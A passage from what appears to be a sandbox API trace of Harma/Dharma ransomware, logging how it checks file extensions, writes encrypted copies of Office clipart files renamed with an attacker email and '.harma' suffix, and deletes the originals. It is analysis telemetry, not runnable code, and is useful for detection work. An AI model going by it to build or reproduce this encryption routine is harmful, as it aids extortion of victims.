(lpString1=".jpg", lpString2=".WMF") returned -1 [0156.815] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.816] lstrlenW (lpString="FD02141_.WMF") returned 12 [0156.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.816] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2636) returned 1 [0156.816] CloseHandle (hObject=0x340) returned 1 [0156.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0156.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.817] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.817] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.818] GetLastError () returned 0x0 [0156.818] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xa4c, lpOverlapped=0x0) returned 1 [0156.851] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xa50, lpOverlapped=0x0) returned 1 [0156.852] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0156.852] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.852] SetEndOfFile (hFile=0x330) returned 1 [0156.852] CloseHandle (hObject=0x330) returned 1 [0156.852] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.852] SetEndOfFile (hFile=0x340) returned 1 [0156.854] CloseHandle (hObject=0x340) returned 1 [0156.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0156.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.855] lstrlenW (lpString=".doc") returned 4 [0156.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.855] lstrlenW (lpString=".docx") returned 5 [0156.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.855] lstrlenW (lpString=".pdf") returned 4 [0156.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.855] lstrlenW (lpString=".xls") returned 4 [0156.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.855] lstrlenW (lpString=".xlsx") returned 5 [0156.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.855] lstrlenW (lpString=".ppt") returned 4 [0156.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString=".zip") returned 4 [0156.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.856] lstrlenW (lpString=".rar") returned 4 [0156.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".bz2") returned 4 [0156.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".7z") returned 3 [0156.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString=".dbf") returned 4 [0156.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString=".1cd") returned 4 [0156.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString=".jpg") returned 4 [0156.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.856] lstrlenW (lpString=".doc") returned 4 [0156.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".docx") returned 5 [0156.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.856] lstrlenW (lpString=".pdf") returned 4 [0156.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".xls") returned 4 [0156.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.856] lstrlenW (lpString=".xlsx") returned 5 [0156.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.856] lstrlenW (lpString=".ppt") returned 4 [0156.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.857] lstrlenW (lpString=".zip") returned 4 [0156.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.857] lstrlenW (lpString=".rar") returned 4 [0156.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.857] lstrlenW (lpString=".bz2") returned 4 [0156.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.857] lstrlenW (lpString=".7z") returned 3 [0156.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.857] lstrlenW (lpString=".dbf") returned 4 [0156.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.857] lstrlenW (lpString=".1cd") returned 4 [0156.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0156.857] lstrlenW (lpString=".jpg") returned 4 [0156.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.858] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.858] lstrlenW (lpString="FD02161_.WMF") returned 12 [0156.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.858] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3128) returned 1 [0156.858] CloseHandle (hObject=0x340) returned 1 [0156.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0156.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.859] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.859] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.859] GetLastError () returned 0x0 [0156.859] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xc38, lpOverlapped=0x0) returned 1 [0156.881] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xc40, lpOverlapped=0x0) returned 1 [0156.882] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0156.882] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.882] SetEndOfFile (hFile=0x330) returned 1 [0156.882] CloseHandle (hObject=0x330) returned 1 [0156.882] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.882] SetEndOfFile (hFile=0x340) returned 1 [0156.885] CloseHandle (hObject=0x340) returned 1 [0156.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString=".doc") returned 4 [0156.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString=".docx") returned 5 [0156.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.891] lstrlenW (lpString=".pdf") returned 4 [0156.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString=".xls") returned 4 [0156.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.891] lstrlenW (lpString=".xlsx") returned 5 [0156.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.891] lstrlenW (lpString=".ppt") returned 4 [0156.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString=".zip") returned 4 [0156.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.891] lstrlenW (lpString=".rar") returned 4 [0156.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString=".bz2") returned 4 [0156.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString=".7z") returned 3 [0156.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString=".dbf") returned 4 [0156.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString=".1cd") returned 4 [0156.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.891] lstrlenW (lpString=".jpg") returned 4 [0156.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString=".doc") returned 4 [0156.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString=".docx") returned 5 [0156.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.892] lstrlenW (lpString=".pdf") returned 4 [0156.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString=".xls") returned 4 [0156.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.892] lstrlenW (lpString=".xlsx") returned 5 [0156.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.892] lstrlenW (lpString=".ppt") returned 4 [0156.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString=".zip") returned 4 [0156.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.892] lstrlenW (lpString=".rar") returned 4 [0156.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString=".bz2") returned 4 [0156.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString=".7z") returned 3 [0156.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString=".dbf") returned 4 [0156.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString=".1cd") returned 4 [0156.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0156.892] lstrlenW (lpString=".jpg") returned 4 [0156.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.893] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.893] lstrlenW (lpString="HH00084_.WMF") returned 12 [0156.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.908] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2472) returned 1 [0156.908] CloseHandle (hObject=0x388) returned 1 [0156.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0156.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.908] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.909] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0156.936] GetLastError () returned 0x0 [0156.936] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x9a8, lpOverlapped=0x0) returned 1 [0157.020] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0157.021] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.021] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.021] SetEndOfFile (hFile=0x330) returned 1 [0157.021] CloseHandle (hObject=0x330) returned 1 [0157.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.021] SetEndOfFile (hFile=0x388) returned 1 [0157.024] CloseHandle (hObject=0x388) returned 1 [0157.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.025] lstrlenW (lpString=".doc") returned 4 [0157.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.025] lstrlenW (lpString=".docx") returned 5 [0157.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.025] lstrlenW (lpString=".pdf") returned 4 [0157.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.025] lstrlenW (lpString=".xls") returned 4 [0157.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.025] lstrlenW (lpString=".xlsx") returned 5 [0157.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.025] lstrlenW (lpString=".ppt") returned 4 [0157.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.025] lstrlenW (lpString=".zip") returned 4 [0157.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.026] lstrlenW (lpString=".rar") returned 4 [0157.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString=".bz2") returned 4 [0157.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString=".7z") returned 3 [0157.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString=".dbf") returned 4 [0157.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString=".1cd") returned 4 [0157.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString=".jpg") returned 4 [0157.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString=".doc") returned 4 [0157.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString=".docx") returned 5 [0157.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.026] lstrlenW (lpString=".pdf") returned 4 [0157.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString=".xls") returned 4 [0157.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.026] lstrlenW (lpString=".xlsx") returned 5 [0157.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.026] lstrlenW (lpString=".ppt") returned 4 [0157.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.026] lstrlenW (lpString=".zip") returned 4 [0157.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.027] lstrlenW (lpString=".rar") returned 4 [0157.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.027] lstrlenW (lpString=".bz2") returned 4 [0157.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.027] lstrlenW (lpString=".7z") returned 3 [0157.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.027] lstrlenW (lpString=".dbf") returned 4 [0157.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.027] lstrlenW (lpString=".1cd") returned 4 [0157.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0157.027] lstrlenW (lpString=".jpg") returned 4 [0157.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.027] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.027] lstrlenW (lpString="HH00334_.WMF") returned 12 [0157.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.028] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1528) returned 1 [0157.028] CloseHandle (hObject=0x388) returned 1 [0157.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: 